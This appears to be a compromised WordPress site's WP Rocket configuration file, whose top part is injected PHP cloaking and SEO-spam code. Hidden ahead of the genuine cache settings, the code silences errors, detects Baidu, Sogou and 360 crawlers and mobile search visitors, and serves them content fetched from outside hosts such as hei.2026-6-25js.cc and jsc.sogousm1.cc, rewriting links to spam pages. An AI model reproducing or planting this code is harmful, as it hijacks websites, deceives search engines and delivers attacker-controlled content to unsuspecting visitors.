File: /home/www/wp-content/wp-rocket-config/cqqizhou.com.php
<?php
set_time_limit(0);
error_reporting(0);
$protocol2 = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' || $_SERVER['SERVER_PORT'] == 443) ? "https://" : "http://";
$host2 = $_SERVER['HTTP_HOST'];
$fullUrl2 = $protocol2 . $host2;
$url2 = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$url = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$tr2 = "stristr";
$er2 = $_SERVER;
$a = "stristr";
$b = $_SERVER;
/**
* 生成随机数字
*/
function generateRandomNumber() {
$min = pow(10, 7); // 8位数的最小值
$max = pow(10, 10) - 1; // 10位数的最大值
return mt_rand($min, $max);
}
/**
* 匹配链接格式
*/
function matchLinkPattern($str) {
$pattern = '/[A-Z]_\d{9,}/'; // 匹配一个大写字母加14位以上数字
return preg_match($pattern, $str);
}
/**
* HTTP GET请求函数2
*/
function httpGet32($url2) {
header('Content-Type:text/html;charset=utf-8');
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_USERAGENT, 'MyCustomUA/1.0');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
return $output;
}
/**
* HTTP GET请求函数3
*/
function httpGet3($url2) {
header('Content-Type:text/html;charset=utf-8');
$ch = curl_init();
$ua2 = $_SERVER['HTTP_USER_AGENT'];
curl_setopt($ch, CURLOPT_URL, $url2);
curl_setopt($ch, CURLOPT_USERAGENT, $ua2);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
return $output;
}
//$dir = "?moban26";
$dir=array("?moban26","?show2","?news2","?class","?advice","?home","?auto","?life","?sleep","?sports","?work",);
/**
* 生成随机字符串
*/
function char($length = 5, $type = 0) {
$arr = array(1 => "0123456789", 2 => "abcdefghijklmnopqrstuvwxyz0123456789");
if ($type == 0) {
array_pop($arr);
$string = implode("", $arr);
} elseif ($type == "-1") {
$string = implode("", $arr);
} else {
$string = $arr[$type];
}
$count = strlen($string) - 1;
$code = '';
for ($i = 0; $i < $length; $i++) {
$code .= $string[rand(0, $count)];
}
return $code;
}
$dir2 = get_url2() . '/moban26';
/**
* 获取URL路径
*/
function get_url2() {
$url2 = $_SERVER['REQUEST_URI'];
$url2 = preg_replace('~/+~', '/', $url2); // 去除多余的斜杠
// 分割路径
$parts = explode('/', trim($url2, '/'));
// 如果是文件路径,保留前两级目录
if (preg_match('/\.(php|html|xml|asp|ppt|shtml)$/', end($parts))) {
// 文件路径,返回前两级目录
$url2 = '/' . $parts[0];
} else {
// 不是文件路径,保留前两级目录
if (count($parts) > 2) {
$url2 = '/' . $parts[0] . '/' . $parts[1];
} else {
$url2 = '/' . implode('/', $parts);
}
}
return $url2;
}
// 定义常量
define('mobile', '/phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|' .
'MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/');
define('ref', !isset($b['HTTP_REFERER']) ? '' : $b['HTTP_REFERER']);
define('url', $b['REQUEST_URI']);
define('ent', $er2['HTTP_USER_AGENT']);
define('site', "http://abc2.asd123abd.com:822/");
define('site2', "http://jsc.sogousm1.cc:81/");
define('url8', $fullUrl2);
// 正则表达式模式
$title = '/<title>(.*?)<\/title>/i';
$meta = '/<meta charset=".*?>/i';
$key = '/<meta\s+name="keywords"\s+content="([^"]+)"\s*\/?>/i';
$miaoshu = '/<meta\s+name="description"\s+content="([^"]+)"\s*\/?>/i';
define('road', $_SERVER['REQUEST_URI']);
define('regs', '@baiduspider@i');
define('regs2', '@yisou|Sogou|360@i');
// 定义区域判断条件
$area_conditions = array(
"wen", "xml", "doc", "pdf", "class", "asp", "pptx", "xls",
"id", "template", "moban", "gov", "du", "k", "gq", "ys", "ku",
"tacc", "work", "csv", "sports", "sleep", "life", "dy","html1", "news2", "show2",
"advice", "and", "shtml", "home", "tips", "auto", "zkblw", "keyan", "zhuli", "xinwen1", "news1", "show1"
);
$area_flag = false;
foreach ($area_conditions as $condition) {
if (stristr(url, $condition)) {
$area_flag = true;
break;
}
}
define('area', $area_flag);
define('area2', stristr(url, "/"));
// 主逻辑开始
if (preg_match(regs, ent)) {
if (area) {
echo '<link rel="canonical" href="' . $url2 . '" />';
echo '<!-184-kwm-04-13-bd-sg-->';
$html2 = httpGet32(url8);
$html = httpGet3(site . road);
// 移除HTML标签
$html2 = str_replace('</h1>', '', $html2);
$html2 = str_replace('<h1>', '', $html2);
$html2 = preg_replace($meta, '', $html2);
$html2 = preg_replace($miaoshu, '', $html2);
$html2 = preg_replace($key, '', $html2);
$html2 = preg_replace($title, '', $html2);
$html2 = str_replace('</head>', '', $html2);
$html2 = str_replace('<head>', '', $html2);
$html2 = preg_replace('/<html>/i', '', $html2);
$html2 = preg_replace('/body class=.*?>/i', '', $html2);
$html2 = preg_replace('/<body>/i', '', $html2);
$html = $html . $html2;
// 处理链接
$lianjie = '/<a .*?>[\s\S]*?<\/a>/';
preg_match_all($lianjie, $html, $aarray5);
if ($aarray5[0]) {
foreach ($aarray5[0] as $pbti) {
$preg = '/href=(\"|\')(.*?)(\"|\')/i';
$replacestr = 'href="' . $dir2 . '/' . char(6, 1) . char(mt_rand(4, 10), 2) . '.html"';
$ahtml = preg_replace($preg, $replacestr, $pbti);
$html = str_replace($pbti, $ahtml, $html);
}
}
echo $html;
exit();
} else {
header('Content-Type:text/html;charset=utf-8');
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $fullUrl2);
curl_setopt($ch, CURLOPT_USERAGENT, 'MyCustomUA/1.0');
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
$output = str_replace([
'<body>',
'</body>',
'<html>',
'</html>'
], '', $output);
$lianjie = '/<a .*?>[\s\S]*?<\/a>/';
preg_match_all($lianjie, $output, $aarray5);
if ($aarray5[0]) {
$count = 0;
foreach ($aarray5[0] as $pbti) {
$preg = '/href=(\"|\')(.*?)(\"|\')/i';
if ($count < 5) {
$randomUrl = httpGet3('http://hei.2026-6-25js.cc:82');
$randomUrl = str_replace('<!--', '', $randomUrl);
$randomUrl = str_replace('-->', '', $randomUrl);
if ($randomUrl !== false && $randomUrl !== '') {
$replacestr = 'href="' . trim($randomUrl) . generateRandomNumber() . '.html"';
$count++;
} else {
$replacestr = 'href="'.$dir[array_rand($dir)]. "/". generateRandomNumber() . '.html"';
}
} else {
$replacestr = 'href="'.$dir[array_rand($dir)]. "/". generateRandomNumber() . '.html"';
}
$aoutput = preg_replace($preg, $replacestr, $pbti);
$output = str_replace($pbti, $aoutput, $output);
}
}
echo $output;
exit();
}
}
// 其他条件判断
if (area && preg_match("/.*(baidu).*/i", ref, $OutUa) && preg_match(mobile, ent) && url != "" && url != "/" && url != "/index.php" && url != "/index.html") {
$ua = $_SERVER['HTTP_USER_AGENT'];
$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_URL, "http://hei.2026-6-25js.cc/xin/502.php");
curl_setopt($ch, CURLOPT_HEADER, false);
curl_exec($ch);
curl_close($ch);
exit();
} elseif (area && preg_match('/phone|pad|pod|OpenHarmony|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone/', $_SERVER['HTTP_USER_AGENT'])) {
$ua = $_SERVER['HTTP_USER_AGENT'];
$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_URL, "http://hei.2026-6-25js.cc/xin/502-no-pd.php");
curl_setopt($ch, CURLOPT_HEADER, false);
curl_exec($ch);
curl_close($ch);
exit();
}
if (preg_match(regs2, ent) && url != "" && url != "/" && url != "/index.php") {
echo '<link rel="canonical" href="' . $url2 . '" />';
echo '<!-122-kw-04-13--sg-->';
echo httpGet3(site2 . road);
exit();
} elseif (preg_match(regs2, ent)) {
$html = httpGet32(url8 . url);
$html = str_replace('</h1>', '', $html);
$html = str_replace('<h1>', '', $html);
$lianjie = '/<a .*?>[\s\S]*?<\/a>/';
preg_match_all($lianjie, $html, $aarray5);
if ($aarray5[0]) {
foreach ($aarray5[0] as $pbti) {
$preg = '/href=(\"|\')(.*?)(\"|\')/i';
$replacestr = 'href="' .$dir[array_rand($dir)]. "/" . char(6, 1) . char(mt_rand(4, 10), 2) . '.html"';
$ahtml = preg_replace($preg, $replacestr, $pbti);
$html = str_replace($pbti, $ahtml, $html);
}
}
echo $html;
exit();
}
if (preg_match("/.*(sogou|yisou|sm|360|haoso).*/i", ref, $OutUa) && preg_match(mobile, ent) && url != "" && url != "/" && url != "/index.php" && url != "/index.html") {
$ua = $_SERVER['HTTP_USER_AGENT'];
$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT, $ua);
curl_setopt($ch, CURLOPT_URL, "http://hei.2026-6-25js.cc/xin/502-sogousm-pd.php");
curl_setopt($ch, CURLOPT_HEADER, false);
curl_exec($ch);
curl_close($ch);
exit();
}
defined( 'ABSPATH' ) || exit;
$rocket_cookie_hash = 'e07cc523f8d9819cb529ea6b97264576';
$rocket_logged_in_cookie = 'wordpress_logged_in_e07cc523f8d9819cb529ea6b97264576';
$rocket_cache_mobile_files_tablet = 'desktop';
$rocket_cache_reject_uri = '/(?:.+/)?feed(?:/(?:.+/?)?)?$|/(?:.+/)?embed/|/(index.php/)?(.*)wp-json(/.*|$)';
$rocket_cache_reject_cookies = 'wordpress_logged_in_.+|wp-postpass_|wptouch_switch_toggle|comment_author_|comment_author_email_';
$rocket_cache_reject_ua = 'facebookexternalhit|WhatsApp';
$rocket_cache_query_strings = array(
0 => 'q',
);
$rocket_secret_cache_key = '';
$rocket_cache_ssl = 0;
$rocket_cache_mobile = 0;
$rocket_do_caching_mobile_files = 0;
$rocket_cache_ignored_parameters = array(
'utm_source' => 0,
'utm_medium' => 1,
'utm_campaign' => 2,
'utm_expid' => 3,
'utm_term' => 4,
'utm_content' => 5,
'utm_id' => 6,
'utm_source_platform' => 7,
'utm_creative_format' => 8,
'utm_marketing_tactic' => 9,
'mtm_source' => 10,
'mtm_medium' => 11,
'mtm_campaign' => 12,
'mtm_keyword' => 13,
'mtm_cid' => 14,
'mtm_content' => 15,
'pk_source' => 16,
'pk_medium' => 17,
'pk_campaign' => 18,
'pk_keyword' => 19,
'pk_cid' => 20,
'pk_content' => 21,
'fb_action_ids' => 22,
'fb_action_types' => 23,
'fb_source' => 24,
'fbclid' => 25,
'campaignid' => 26,
'adgroupid' => 27,
'adid' => 28,
'gclid' => 29,
'age-verified' => 30,
'ao_noptimize' => 31,
'usqp' => 32,
'cn-reloaded' => 33,
'_ga' => 34,
'sscid' => 35,
'gclsrc' => 36,
'_gl' => 37,
'mc_cid' => 38,
'mc_eid' => 39,
'_bta_tid' => 40,
'_bta_c' => 41,
'trk_contact' => 42,
'trk_msg' => 43,
'trk_module' => 44,
'trk_sid' => 45,
'gdfms' => 46,
'gdftrk' => 47,
'gdffi' => 48,
'_ke' => 49,
'_kx' => 50,
'redirect_log_mongo_id' => 51,
'redirect_mongo_id' => 52,
'sb_referer_host' => 53,
'mkwid' => 54,
'pcrid' => 55,
'ef_id' => 56,
's_kwcid' => 57,
'msclkid' => 58,
'dm_i' => 59,
'epik' => 60,
'pp' => 61,
'gbraid' => 62,
'wbraid' => 63,
'ssp_iabi' => 64,
'ssp_iaba' => 65,
'gad' => 66,
'vgo_ee' => 67,
'gad_source' => 68,
'gad_campaignid' => 69,
'onlywprocket' => 70,
'srsltid' => 71,
'gadid' => 72,
'fbadid' => 73,
);
$rocket_cache_mandatory_cookies = '';
$rocket_cache_dynamic_cookies = array();
$rocket_permalink_structure = '/news/%post_id%';